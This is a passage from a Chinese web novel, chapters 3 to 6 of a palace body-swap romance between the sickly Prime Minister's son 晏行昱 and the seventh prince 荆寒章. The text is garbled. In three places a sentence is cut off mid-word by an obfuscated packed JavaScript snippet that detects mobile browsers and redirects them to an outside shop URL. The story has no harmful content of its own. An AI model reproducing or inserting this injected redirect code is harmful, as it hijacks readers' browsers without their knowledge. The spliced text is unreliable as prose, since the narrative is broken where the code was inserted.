阿满在一旁添炭,不满地嘀咕道:“一个孩子而已,阿满单手就能把他打哭,公子何苦作践自己?” 晏行昱漫不经心掀过一页,随口道:“我不想进宫,顺水推舟罢了。” 阿满又添了一块炭,微微一怔:“您知道今日圣上要您进宫?” “嗯。”晏行昱轻轻拨动一下佛珠,淡淡道:“父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727617|189528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲让我安分些,那我就彻底安分。” 阿满不太懂这些弯弯绕绕,但见晏行昱似乎早已打算,也不多问,继续老老实实地添炭。 银骨炭抛进炭盆中,一块又一块。 就在他扔第四块的时候,晏行昱终于忍不住了,视线从经书上移开,看了阿满一眼,轻声道:“够了,省着点烧。” 阿满“哦”了一声,又抬手将扔里面还未烧着的炭给捡了出来,手指被突然窜起的火燎了一下,烫得他嗷地一声险些蹦起来。 刚走到门口的赵伯:“……” 赵伯心酸不已,偏头擦了擦酸涩的眼角。 他家公子到底在寒若寺过的是什么日子,连一块炭火钱都要省? 再对比晏为明那一掷千金的败家子行为…… 赵伯唉声叹气,心早就偏了十万八千里。 听到脚步声,晏行昱将经书放下,抬手撩了一下垂下来的一缕墨发,轻声道:“赵伯,圣上那边……” 赵伯忙道:“我来正是要对少爷说这个,老爷已经差人回了圣上,您心疾发作不便出门,圣上仁慈,并未追究。” 晏行昱笑了笑。 赵伯走上前为他掖了掖被子,疼惜道:“少爷可要好好养身子。” 晏行昱柔声说:“好。” *** 晏行昱刚归家,就被晏为明这个纵横京都的小霸王欺负到犯了心疾的消息甚嚣尘上,不出两个时辰就传遍了整个京都,成为众人茶前饭后的笑谈。 荆寒章正在武场射箭,听到江枫华和他说这个消息,哼笑一声,似乎早有预料。 “晏为明心高气傲,身旁的人各个都是狐朋狗友,把他捧成这副不知轻重的德行也是迟早的事。” 他一边说着一边搭弓上箭,眼睛眨都不眨地一松,羽箭呼啸射出,正中靶心。 江枫华为他递上一根羽箭,若有所思道。 荆寒章拉弓射出羽箭,弓弦紧绷后又飞快松弛的闷声响彻耳畔。 满意地射出十支羽箭后,荆寒章才放下手,微微偏头,高束起的发一甩,凌乱落在肩上,肆意张狂。 大冷的天,荆寒章穿着一身单薄的猎衣竟然都出了一身的汗,他不惧冷,和江枫华说了几句后,再次拉弓上弦,仿佛有用不完的精力。 “对了。”荆寒章突然道,“我送去的鹿,他收下了吗?” 江枫华道:“听说今日送去相府的礼,晏行昱一件未收,皆是相府总管在打点。” 荆寒章竟然也不怒,笑了一声,道:“倒也是有脾气的……” 江枫华补了一句:“但不知为何,听说是您送的礼后,晏行昱旁边的孩子就将那鹿带过去了,据说被晏行昱养在了院中。” 荆寒章:“……” 晏行昱收下了他的礼,荆寒章反倒不高兴了。 他眉头紧皱,冷冷道:“听说是本殿下的,他就收了?” “是。” 荆寒章冷笑一声。 还以为被寒若寺的禅和佛濡染这么多年的少年还会有独属自己的清冷傲气,没想到竟和京都的人一样,也是个趋炎附势的俗人。 这种人,自己到底是被什么蒙蔽了眼,竟然会待他另眼相待? 还送小鹿。 真是瞎了眼。 无意中,荆寒章突然回想起晏行昱那张匆匆一瞥的脸,捏着羽箭的手一紧。 他突然有些不耐烦了,活像是被践踏了真心似的,忍着微薄的怒气将一支箭狠狠射出去,箭靶竟然被他这一箭射得四分五裂。 他沉着脸随手将手中的弓抛给江枫华,吩咐道:“择个时间选个缘由,将我的鹿要回来。” 江枫华:“……” 江枫华一言难尽道:“殿下,您那鹿已送出去了,哪有再要回来的道理?” 荆寒章不听,他一向想到什么做什么,完全不管合不合理。 江枫华无奈:“殿下要那只鹿作何?” 荆寒章将肩上长发赤绦一甩,眉目间一派难掩朝气的放纵不羁。 “本殿下要回来吃。”荆寒章负气似的,冷哼一声,“反正不给他。” 说罢,甩袖离开。 江枫华:“……” 4. 互穿 晏行昱装病小半个月,几乎整个京传遍他的流言。 有人说他气度庸俗见不得人,有人说他连幼弟都能肆意屈辱,怕是个性子软弱到不敢见人的软包子,更有当年知晓他为何离京的人私底下恶意编排灾星祸乱之事。 无论流言有多少种,反正全无好话。 流言沸沸扬扬,甚至传到了圣上耳朵里。 宫中,皇帝闲来无事,调笑着说了句:“行昱怎么像是个待字闺中的大小姐,也不怕闷坏了。” 晏戟从善如流:“行昱刚归京有些水土不服,这些日子好了些,臣昨日还在说让行昱尽早进宫一趟,给陛下瞧瞧。” 晏戟是皇帝少时伴读,关系匪浅,也正是有皇帝的另待,无论朝堂上有多少人递折子参晏相权倾朝野,晏戟地位依然稳如磐石。 皇帝笑了起来,道:“也好,多年不见,朕也着实想念行昱。” 晏戟躬身,一垂眸遮掩住眼底的冷意。 当天,在屋中抄佛经的晏行昱就被赵伯换了身华美的锦衣,迷迷瞪瞪进了宫。 阿满着急得要命,几乎想要寸步不离地跟上晏行昱,却被阻挡在了宫门外,气得直跺脚。 晏行昱微微垂眸,被宫人推着轮椅前去太和殿。 他的手指拨动佛珠,细看下那包裹在锦衣下的身体宛如一根弓弦般死死绷着,捏着佛珠的指节一阵发白,仿佛轻轻一碰就能折断。 推着他的宫人是在皇帝身边伺候的老太监,名唤安平,满脸和蔼可掬,瞧见晏行昱似乎很紧张,笑着安抚道:“咱们陛下和丞相相交甚深,这些日子一直在惦记着您,公子不要慌张。” 晏行昱脸上依然是病态的苍白,他勉强一笑,拨动佛珠的手指更紧了。 “我……并未慌张。” 安平也只当他是强颜欢笑,又笑着安慰他几句,太和殿便到了。 昨晚刚下过一场雪,寒意不住地往骨子里钻,晏行昱还是归京后头一回出门,从宫门到太和殿的这段距离,已经让他冷得手指都在发抖了。 安平将他推到太和殿门口,躬身进去请安,很快就回来,满脸赔笑:“公子许是要等上一等,七殿下正在陪陛下练箭。” 晏行昱小脸惨白地笑了笑:“应当的。” 七殿下陪着陛下练了半个时辰的箭,晏行昱也就在寒风中等了半个时辰。 等到安平得了令将晏行昱推进太和殿时,晏行昱的手险些捏不住佛珠了。 偌大个大殿中放置着箭靶,上面已经扎满了箭,晏行昱有些恹恹地抬眸看去,视线刚好和盘膝坐在软榻上做玉雕的荆寒章碰上。 陛下去内殿换衣,偌大个宫殿显得极其空荡。 荆寒章看到他一身寒气,眉头轻皱:“方才是你在外面候着?” 晏行昱不知是不是开始起烧了,反应有些迟钝,呆了一下才躬身道:“是。” 荆寒章见他都在哆嗦了,眸子如刀冷冷看了安平一眼:“狗东西,丞相公子也是你能怠慢的?” 荆寒章凶名太甚,只是随意一句质问,就把安平吓得脸色一白,直接跪了下来,哆嗦道:“望殿下恕罪!奴才只是不想扰了陛下和七殿下的兴致!” 晏行昱仰头看着他,眸中全是他自己都未察觉的迷茫。 荆寒章被他这个眼神看的眉头皱得更紧了,他从榻上下来,走到晏行昱面前,居高临下看着他。 荆寒章极其钟爱将一切掌控在手中的感觉,他微微俯下身,盯着晏行昱琉璃似的眸瞳,突然哼笑一声,道:“我的鹿,你打算什么时候还我?” 晏行昱呆了呆,被荆寒章身上茯苓的味道萦绕,他愣了好大一会,才将眸子垂下,喃喃地说:“那、那已是我的了。” 他这副软弱害怕却又强撑着不肯服输的模样让荆寒章来了兴致,他手撑在晏行昱的轮椅扶手上,瞧着似乎将晏行昱整个人圈在怀抱中。 晏行昱不太适应荆寒章那身几乎将他逼到角落里的强势,身体更加紧绷,整个人都要缩进轮椅中,手不自觉地握住了右手袖子。 荆寒章恶劣道:“本殿下只是送过去让你瞧瞧,几时说过要赠你了?” 晏行昱晕晕乎乎的,脑子都不怎么会动了。 就在这时,皇帝换好衣衫回来。 荆寒章听到脚步声,这才撤身回来,自顾自回去雕他的玉去了。 当今圣上刚过不惑,气度威严,他缓步而来,扫见轮椅上蔫得仿佛打了卷的叶子的晏行昱,眸子闪过一抹暗光。 他嗔着笑,淡淡道:“行昱回来了,脸色这么难看,京都是不是比江南要冷些?” 晏行昱手撑着轮椅扶手,微微倾身,砰地一声跌下轮椅,勉强跪在地上磕头行礼。 “行昱见过陛下。” 这膝盖碰上地面的闷响让荆寒章手一抖,上等的玉料直接废在了掌心,他看了看伏在地上的晏行昱,又看了看陛下和安平,似乎知道了什么。 安平没那么大的胆子敢擅自苛待丞相之子,那只能是皇帝的意思。 而在外被冷待了半个时辰的晏行昱应该也瞧出了皇帝的有意刁难,才会宁愿坠下轮椅也要礼数周全。 荆寒章“啧”了一声,没想到晏行昱倒也聪明,并非外界所传是个一无是处的草包。 皇帝吃惊地看着他,忙道:“行昱这是做什么,你身子不好,礼数什么的免了就好。” 他一抬手,让一旁跪着的安平去扶人。 安平忙屈膝上前,将晏行昱重新扶上了轮椅。 晏行昱笑了一下,道:“多谢陛下厚待。” 荆寒章眸光凉凉地看着,什么也没说。 皇帝又留晏行昱说了些话,赏了些贵重东西,便让人将他送走了。 荆寒章也起身告辞。 皇帝道:“不练箭了?” 荆寒章晃了晃手中的破碎玉料,挑眉道:“儿臣要回去找一块新的玉。” 皇帝笑骂道:“你啊你,太傅前几日又对朕告你的状,与其费神雕玉,你倒不如背背策论,省得别人成日说你不学无术玩物丧志。” 荆寒章一挑眉,道:“儿臣本就玩物丧志,这是整个京都都知道的事。” 皇帝瞪他一眼:“你倒是自豪?” 荆寒章一笑,没说话。 *** 出了宫,相府的车辇快马加鞭回府。 天色已经暗了下来,车夫驾马匆匆经过繁华主街,车轮匆忙间轧到什么东西,整个车身猛地一颠,与此同时,里面传出一声重重的喘息,似乎是压抑已久,细听之下还带着些嘶哑的气音。 阿满怒道:“怎么回事?连马车都驾不稳吗?!” 他掀帘而出,正要接过车夫的活,视线一扫周围,突然瞳孔一缩。 那马不知被什么东西惊到了,此时正嘶鸣着胡乱奔跑,将路边撞得人仰马翻,哀嚎声一片。 慌乱间,两枚铜钱滚到了地上,无人发觉。 车夫满脸惊恐,使劲勒着缰绳:“马失控了!” 阿满正要去救,车辇不知撞到了什么,突然猛烈地震动,整个车厢几乎侧翻,里面传来一声闷响,夹杂着晏行昱更重的喘息声。 “公子!” 马车依然在疾驶,一路上不知撞到了多少东西,不过很快就出了主街,而那马车厢也已撞开了一条缝。 马受惊非同小可,指不定撞到墙或路边的石柱,整个车厢都会毁于一旦。 阿满在一阵剧烈摇晃间想要冲进去,在马车厢被撞碎之前将晏行昱救出来,还未跑进去突然察觉到一股浓烈的杀意弥漫在身侧。 阿满猛地将手伸向腰后,但车厢中传来一声轻微的声音,像是手指敲在木头上的声音。 阿满动作一顿。 下一瞬,一把刀迎面劈下,堪堪擦过阿满的肩侧直直插入那两匹马的脖颈,刀刃寒光带出一簇残阳似的血花。 马匹嘶鸣一声,应声而来,整个马车厢却带着冲势直直碾过马的尸身,直接翻了过去。 轰然一声巨响,阿满堪堪将车夫拽出了马车,以免被车厢砸成肉泥。 灰尘散去后,阿满抬起头来。 在一片废墟中,一身红衣的少年一手持着带血的刀,一手将身着素衣的晏行昱抱在怀里,眸中全是冷然的戾气。 荆寒章将刀随手扔在一边,似乎是嫌弃上面的血迹,空出的手将一直在自己怀里不住往下滑的人抄起腿弯,打横抱在怀里。 晏行昱头发凌乱,呼吸都有些微弱,他勉强睁开一只眼睛,看着面前的人。 荆寒章冷冷看着阿满,道:“废物东西,等你来救,你家公子早已死的连渣都不剩了。” 阿满说不出话。 荆寒章在说什么,晏行昱已经听不见了,他艰难地伸出手一点点拽住荆寒章的衣襟。 荆寒章似有察觉,低头漠然看他。 晏行昱嘴唇轻动,却什么都没说出口,手便颓然垂了下来,昏睡过去。 此处离相府只隔了一条街,荆寒章看了看阿满那小身板,满脸嫌弃,只能送佛送上西,抱着晏行昱送回了相府。 等到他跟着一脸惊慌的阿满进入相府,左拐右拐走到一处偏僻小院时,眉头全都皱了起来。 这晏行昱再怎么说也是嫡子,晏戟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727618|189528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟然将他的住处安排在这里? 荆寒章冷笑一声。 堂堂丞相之子活成这副模样,也真是有够可怜可笑。 晏行昱的房中全是浓烈的药味,一旁还挂着一小张佛像,荆寒章不喜药味和神佛,视线在落到角落里盯着他们的黑猫时,瞳孔一缩,腿险些软了。 荆寒章天不怕地不怕,就怕猫。 外界传闻无所不能的七殿下不能让人发现自己的软肋,只能深吸一口气,故作镇定将晏行昱放在了榻上,转身就走,视线都不敢看那只黑猫,唯恐它扑上来。 荆寒章恨恨地想,对这么个不思进取的软包子,他已仁至义尽。 荆寒章是所有皇子中最受皇帝喜爱的,就算他捅了天大的篓子也不会有任何实质性的惩罚,久而久之,荆寒章性子越来越乖戾,行为举止也越来越放肆。 所以他根本无法理解为什么会有晏行昱这种人尽欺辱却一声不吭不反击的人。 荆寒章憋着气,心想:“他就不觉得屈辱吗?” 若是有人敢得罪他让他有一点憋屈,他定是当场就十倍百倍地报复回去。 荆寒章想了半天,突然反应过来。 “不对,我管他干什么?”荆寒章恍然大悟,“他爱死不死,关我何事?!” 荆寒章沉着脸回去了,江枫华瞧见他回来,道:“殿下,太傅让罚抄的策论明日就要交,您……” 荆寒章看都不看,憋着气道:“你自己看着办。” 江枫华:“……” 临睡前,荆寒章还在怒气冲冲地想晏行昱那能气死人的软包子脾气,连做了好几个“若是自己被欺负他要怎么一一报复回去”的设想,连梦里都是在暴打仇人、报仇雪恨。 爽了。 *** 昏昏沉沉间,荆寒章是被热醒的。 他头重脚轻,手软腰软,身上一丝力道都没有,连眼睛都睁不开。 荆寒章迷茫地想,自己到底是怎么了? 病了? 他身体一直康健,许多年都未生过一场病。 荆寒章不知努力了多久,终于将眼睛睁开,视线所及却是陌生的床幔。 他撑着手连摔了好几下才艰难坐了起来,头疼地揉了揉眉心,却发现自己正穿着一袭天青衣袍。 这袍子……好像有些熟悉? 荆寒章烧得迷迷糊糊,迷茫地想要抬手扯一扯袖子,但手指刚一碰到袖口,耳畔骤然出现一股利箭呼啸的声音。 他箭术极高,对箭离弦的声音更是熟悉得不能再熟悉了。 本能察觉到危险,他猛地一偏头,一支小巧的弩.箭从他袖口.射出,擦着他的耳畔呼啸一声而过,带出的冲势将他堪堪束起的墨发凌乱散下。 荆寒章:“……” 只差一寸,他就会被弩.箭射中眉心。 荆寒章就算再懵此时也终于反应了过来,他愕然看着自己的袖子,犹豫了一下才强忍着耳畔的嗡鸣,抬手将袖子一角轻轻掀起。 露出小臂上绑着的一把精致小巧的弩.弓。 荆寒章:“???” 荆寒章觉得自己定是在做梦。 他不穿青色衣袍,更不会在手臂上绑这种暗器。 这到底是什么稀奇古怪的梦? 他拍了拍脑袋,想要强迫自己清醒过来,手肘却无意中撞到床柱上,砰的一声闷响,不知又触碰到了什么机关,一把寒光四溢的剑猛地从床幔上掉落,直直砸在他的手边。 荆寒章:“……” 荆寒章满脸懵然。 就在此时,外面传来一声哒哒哒的声响,一人掀开竹帘跑了进来。 荆寒章木然抬头看去。 白日里被他称为废物东西的小小少年阿满正满脸开心,那么瘦弱的身子手中却轻松地抓了个成年男人,像是拖死狗似的跑了进来。 “公子公子!” 阿满高兴地跑了进来,看到他醒了,忙邀功似的捧着两枚铜钱递给他,道:“公子的两文钱我寻回来啦,能买半个烧饼呢。” 荆寒章满脸写着麻木。 阿满喋喋不休:“下回公子别拿铜钱当暗器了,要是找不回来可费钱了。” 荆寒章:“……” 荆寒章晕晕乎乎地想,哪来的穷鬼,两文钱也能算钱吗? 阿满数落完,将手中的男人随手扔到地上,打了个哈欠,抱怨道:“又捉到一只虫子,不知是哪家派来的。” 荆寒章:“……” 阿满满脸纯澈,还天真无邪地问:“公子,杀不杀呀?” 荆寒章:“……” 5. 糊涂 阿满蹲在地上,伸出手像是孩子戳蚂蚁似的戳着那昏迷不醒的人,百无聊赖地等着公子下令。 荆寒章本来就难受,现在更难受了,整个人仿佛漂浮在半空,不着实处。 阿满坐等右等,没等到应答,疑惑抬头:“公子?” 荆寒章头疼地按着眉心,脸色难看极了。 阿满忙跑上前,抬手贴了贴荆寒章的眉心,发现热得烫手,连忙按着他的肩膀让他躺下。 “阿满自己处理就好啦。”阿满自顾自地为他盖上被子,“公子还病着,不该为这种小事伤神。” 荆寒章被强行按在榻上,愕然张大眼睛。 “你!” 他在京都纵横这么多年,还从未被人这般强势又无礼地对待过——而且那人还是个不到他下巴的孩子! 荆寒章脾气不怎么好,当即抬手拍开阿满的手臂,怒道:“起开——” 只是这具身体太过虚弱,他刚动起怒气,心口顿时一阵刺痛,让他险些呼吸不过来。 阿满只当自家公子又烧懵了,没怎么在意他的异状,盖好被子后,姿态熟稔地将地上生死不知的男人拖走。 他先处理了碍眼的“虫子”,还得去为公子煎药。 公子每回病糊涂了都会极其排斥喝药,等会肯定灌药极其困难。 太苦恼了。 阿满心想。 还不知道自己一会要遭遇什么的荆寒章浑身没了力气,靠在软枕上虚弱地喘息。 他脑海一片空白,加上这具身体还在发高烧,思绪像是乱成团的线球,完全不知该如何思考。 就在这时,耳畔恍惚间传来一声猫叫。 荆寒章浑身一僵,木然偏头看去。 一只混体漆黑的猫正端坐在他枕边,碧绿的眸子直勾勾看着他,极其渗人。 荆寒章:“……” 当阿满清理完“虫子”,将早就熬好的药端着回房时,突然听到黑猫一声撕心裂肺的惨叫声,接着一团黑影直冲冲朝他扑来。 阿满反应极快,一闪身,和那团黑影擦肩而过。 定睛一看,被扔出来的黑影正是晏行昱养的黑猫。 那猫浑身的毛都炸了起来,着地后凶狠朝着床榻上的人叫着,似乎想要咬人。 阿满不明所以,端着药进去,正要询问,就瞧见荆寒章按着心口伏在床沿大口大口呼吸着,满脸痛苦之色,看起来似乎是要犯病了。 “公子!” 荆寒章吓得浑身都是冷汗,他双手无力,只喘了两下就一头栽到了软枕上,神智昏沉,气若游丝。 迷迷瞪瞪间,似乎有人坐到了自己身边,接着鼻息间缓缓晕开一股浓烈的药香。 荆寒章:“……” 荆寒章保持着最后一丝清明,艰难张开眼睛,就隐约瞧见一勺子苦药朝着他探了过来。 荆寒章眼前一黑,险些晕过去,立刻挣扎着想要用尽最后一丝力道将药打翻。 但手还没抬起来,阿满早有预料,抬手一扬,准确无误地将药勺塞到了他嘴里。 荆寒章:“……” 混账!我一定要杀了你!! *** 晏行昱醒来时,天还暗着。 他白日里吹了许久的寒风,回府后便开始发高烧,往常这种情况,晏行昱往往都是会被难受醒的。 但这一次清醒后,身子却前所未有的舒适。 晏行昱撑着手坐了起来,将披散的发捋到肩后,打算问问阿满自己到底昏睡了多久。 只是手刚碰到头发,晏行昱的手指便猛地一僵。 他缓缓将手置于眼前,衬着床幔外的暖烛看清楚了这只手。 掌纹清晰交错,是贵人之相。 极好的手相,却不属于他。 晏行昱极其冷静,轻轻吸了一口气,正要撩开床幔瞧瞧这是何处,外面传来一阵轻手轻脚的步子。 晏行昱猛地转身,朝着声源伸直了手,眸子全是冷意。 很快,有人轻轻撩开床幔,道:“殿下醒了?” 晏行昱:“……” 江枫华穿着一身常服,手中拿着一沓纸,规规矩矩行了个礼,无意中抬起头看了一眼,就发现往日里阴晴不定的“七殿下”正朝着他伸直了右手,左手扣着袖口,似乎在等待什么。 等……等什么? 江枫华很会察言观色,看了一眼,试探着问:“殿下的手是麻了吗?” 晏行昱:“……” 晏行昱呆了好一会,才木然看着自己的手臂。 我……我弩.箭呢?! 他故作镇定,将雪白衣袖撩开,原本绑缚着弩的小臂此时空无一物。 而透过床幔的缝隙环顾四周,布置奢华,极其陌生。 晏行昱:“……” 这是……撞了鬼? 还是在做噩梦? 江枫华奇怪道:“殿下这是怎么了?” 晏行昱面无表情,一时不知该如何回答。 江枫华以为他被吵醒有些不悦,无奈解释道:“前几日太傅罚您誊抄的策论,我已帮您抄了三遍,字迹模仿也有七八分相像,您还是起身再抄两遍,到时一上一下夹在里面,省得被太傅察觉再向陛下告状。” 荆寒章学课极其懈怠,太傅三回授课他有两回半被罚,江枫华作为他的伴读更是不知被罚了多少次,偏偏荆寒章又是个不记疼的性子,无论被罚多少次,下次依然会犯。 江枫华劝不住荆寒章,只好绞尽脑汁想一些尽量让两人少受罚的法子。 一来二去,也有了经验。 江枫华一人背负了太多。 晏行昱根本没搞懂现在是何情况就被抓着抄书,他面上古井无波,看不出任何端倪。 江枫华见他面无表情,试探着道:“殿下?” 晏行昱迷迷瞪瞪了半天,有些分不清楚现在到底是梦还是什么,见此人一直催着自己抄书,好像再不做点什么反应就说不过去了。 他深吸一口气,酝酿了一下他这些年逃避问题时百试百灵的杀手锏。 江枫华正等着殿下回答,下一刻,他就眼睁睁看着“殿下”轻轻吸了一口气,接着毫无征兆地捂住胸口,喘了两下后,一头栽到软枕上。 眼睛一闭,晕了。 江枫华:“……” “殿下!” “来人啊!传太医!” *** 京都城,国师府。 寒风凛冽,一身僧袍的男人站在院中,微微仰头看着乌云密布的天幕。 小沙弥哒哒跑上前,躬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727619|189528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身道:“大人,该歇息了。” 国师气度雍容,轻笑一声,道:“我在观星。” 小沙弥踮着脚尖将鹤氅披在国师肩上,声音稚嫩,小声嘀咕道:“今日这天不下雪就不错了,哪能瞧见什么星啊。” “今日的星象极其有趣。”国师淡淡道,“有凶煞之星冲撞紫微,本是大凶之兆,却处处是生机。” 小沙弥听不懂,只听懂了凶星冲撞紫微星,忙问:“那是不是要告知陛下呀?” 国师笑了笑,没有应答这句话。 他轻轻抬起如玉似的手指,一片雪落在指腹上,飞快融为一滴水珠,倒映着点点烛火。 “看,下雪了。” 这是今年入冬后下得最大的一场雪,仅仅只是一晚,雪便积了满地。 翌日一早,鸡鸣破晓。 树枝被雪压断,一声脆响,惊醒了沉睡中的晏行昱。 晏行昱猛地张开眼睛,好一会才聚焦了视线。 头顶依然是熟悉的床幔。 他撑起身看了看掌心,又确保弩好好地在小臂上,才微不可查松了一口气。 看来昨晚只是做了一场荒唐大梦。 不过这梦倒是古怪,他好像变成了一位皇子,还被人逼着抄策论。 晏行昱揉了揉眉心,觉得自己八成是抄佛经抄多了,连梦中都在抄书。 门被打开,阿满哼着小曲跑了进来,开心地说:“公子,外面下了好大的雪,您不起来瞧瞧吗。” 晏行昱依然病着,他恹恹道:“不必了——我的猫呢?” 阿满道:“它昨晚被公子薅着尾巴扔下了榻,现在还在闹脾气呢,八成一时半会好不了。” 正在撩着袖子调试弩的晏行昱一怔,蹙眉道:“我扔它?什么时候的事?” “就昨晚啊,您大概是病糊涂了,瞧见猫吓得甩手就扔。” 晏行昱:“……” 晏行昱嘴唇轻轻抿了抿,低眸看向小臂上的弩。 他眸子微沉。 那本该上了三支弩.箭的弦上,少了一支箭。 与此同时,七皇子宫中。 荆寒章被黑猫吓了一遭,之后好不容易缓过来,又被一个熊孩子按在榻上强行灌了一碗黑乎乎的药,气得他当场暴怒。 接着心脏一疼,便晕了过去。 再次醒来时,耳畔传来模糊的声音,似乎有人在自己耳畔讲话。 “这……殿下为何还不醒?!莫不是真的得了什么重疾?” 荆寒章眉头一皱,这乌鸦嘴,一听就知道是江枫华。 接着,太医的声音随之响起:“应当不会,殿下许是受到了惊吓,一时气火攻心,稍稍修养几日便好。” 末了,他又问了句:“殿下在昏睡前瞧见猫了?” 要不然他想象不出来,谁能将这个天不怕地不怕的混世魔头吓成这样。 江枫华有些尴尬,小声道:“没有,我当时只是……提了一句让殿下去抄策论。” 太医愣了一下,了然地“哦”了一声,意味深长。 原来是抄策论吓得。 传闻中七殿下对上学课一事避之如蛇蝎,本以为是夸大其词,没想到抄个策论都能吓晕过去。 啧。 荆寒章:“……” 6. 巧合 荆寒章前所未有地发了一顿脾气,寝殿中所有宫人吓得战战兢兢地伏在地上,唯恐被暴怒的七皇子一剑砍了。 江枫华都噤若寒蝉,壮着胆子:“殿下,您……” 荆寒章眸瞳几乎缩成一个点,冷冷道:“备马。” 江枫华一愣:“可是一刻钟后便要去南书房……” 荆寒章视线森寒看了他一眼,让江枫华浑身一抖,连忙道:“是。” 荆寒章胆子极大,哪怕在宫中都要肆无忌惮地纵马,巡查的侍卫也不敢去拦,只能眼睁睁看着他驾马出了宫。 片刻后,他孤身一人来到了相府。 晏戟已经去上朝,赵伯认出七皇子,吓得忙前来行礼。 荆寒章看都没看其他人,浑身杀气腾腾地循着昨日的路冲去了晏行昱的住处。 昨日雪大,晏行昱明里极不受宠,下人们也惯会看主人脸色,扫雪时只是随意扫了几下,连路都没扫出来。 荆寒章沉着脸踩着雪一步步走到偏院,怒气冲冲地一脚踹开了破旧的门。 那门前些日子刚被晏为明踹坏过一次,现在又遭了毒脚。 荆寒章腰间别着刀,满脸戾气地冲进了房中。 “晏行昱!” 他一进去,就被满屋子的药味扑了满脸。 阿满满脸慌张地跑出来,看到他突然一愣。 荆寒章一看到阿满,脸都绿了。 昨晚,就是这个混账孩子将浑身无力的自己按在榻上,一勺一勺地灌那苦得让人三魂六魄都要升天的药。 荆寒章攒了一早上的怒气终于寻到了发泄入口,正要全部爆发出来:“你!” 下一瞬,里间突然传来一声撕心裂肺地咳声,听着仿佛能将整个肺咳出来。 荆寒章被噎了一下,怒气发不出来又咽不下去的感觉,当真不好受。 阿满哆哆嗦嗦跪下来行了个礼,看着就是个不谙世事的孩子,全然没有昨晚言笑晏晏取人性命的可怕和强按着他主子灌药的强势。 荆寒章面如沉水,撩开珠帘大步朝着内室走去。 晏行昱半靠在榻上,青丝扑了满枕,有一绺垂在脸颊上,他满脸病色,此时正捂着心口一声一声地咳着,眼圈一片发红,看着着实可怜。 荆寒章在心中冷笑一声。 之前他被晏行昱这副人畜无害的模样骗过,还以为此人是只软弱纯洁的小鹿,但经昨日一遭,他却再也不敢信了。 见鬼的小鹿! 谁家小鹿会在睡觉的时候身上都带着暗器?! 他都不怕无意中触碰到暗器,连他自己也杀了吗? 荆寒章满脸漠然,快步上前一掌拍向床柱。 昨日他稍微碰了一下,就有一把满是寒光的剑落下来。 荆寒章等着那剑落下来,自己就有足够的缘由来证明自己昨晚并非做的是一场大梦,然后光明正大地发怒。 荆寒章默默等待。 片刻后,无事发生。 荆寒章:“……” 晏行昱已经咳过一遭,此时正茫然抬头看他。 荆寒章不可置信地又捶了床柱两下,几乎把床幔都扯下来了,愣是一样东西都没掉。 晏行昱稳住了呼吸,声音都有些嘶哑,躬身艰难道:“见过七殿下,请恕行昱不、咳……不便下榻行礼……” 他还没说完,荆寒章就俯下身一把扣住他的右手。 晏行昱浑身一僵。 荆寒章唯恐碰到晏行昱右手上的机关,只能用五指小心翼翼和晏行昱的手指相扣。 他本是想制住晏行昱省得他乱动一箭伤了自己,但在其他人看来,这举动暧昧得几乎能暖了院中几寸积雪。 赵伯默默倒吸一口凉气。 阿满突然恶狠狠地龇牙,像是被冒犯了领地的野兽,他正要扑上去,晏行昱就轻轻抬起空着的手。 阿满立刻不动了。 荆寒章制住晏行昱,冷着脸将晏行昱手腕上的衣袖轻轻扯开,露出一小截皓白的腕子。 荆寒章:“???” 他……他弩.箭呢?! 荆寒章不信邪,直接将晏行昱右手的袖子整个撸到腕间,翻来覆去地看,视线几乎都飘到晏行昱雪白的衣襟里了,却愣是没发现一丝痕迹。 晏行昱被折腾得呼吸微弱,想要将手收回来,却被荆寒章死死扣着五指,指缝一片通红。 他艰难呼吸着,近乎哀求地道:“殿下……” 荆寒章直勾勾看着他,沉声道:“你的暗器呢?” 晏行昱脸上的迷茫完全不似作伪:“您说什么?” 荆寒章从来不是个和人周旋的性子,直接开门见山道:“昨晚我都瞧见了,弩.箭、长剑。” 晏行昱还是满脸疑惑,仿佛不知道他到底在说什么。 荆寒章被气笑了,他抬手摩挲了一下晏行昱右手的指腹,果不其然触到了不易察觉的薄茧。 “很好。”荆寒章像是寻到了其他的证据似的,冷声道:“先不说暗器,你向本殿下解释一下,你,养尊处优的丞相公子,手上为什么会有这么多薄茧?” 要么是握剑,要么是握弓,反正此人定是个深藏不露的练家子。 晏行昱还在发烧,眼瞳仿佛蒙了一层薄薄的水雾,他讷讷道:“我在寒若寺养病多年,若是哪个僧人生了病,行昱要替他们做粗活,久了掌心便生了茧。” 荆寒章:“……” 荆寒章一愣,没想到竟然得出这样的答案。 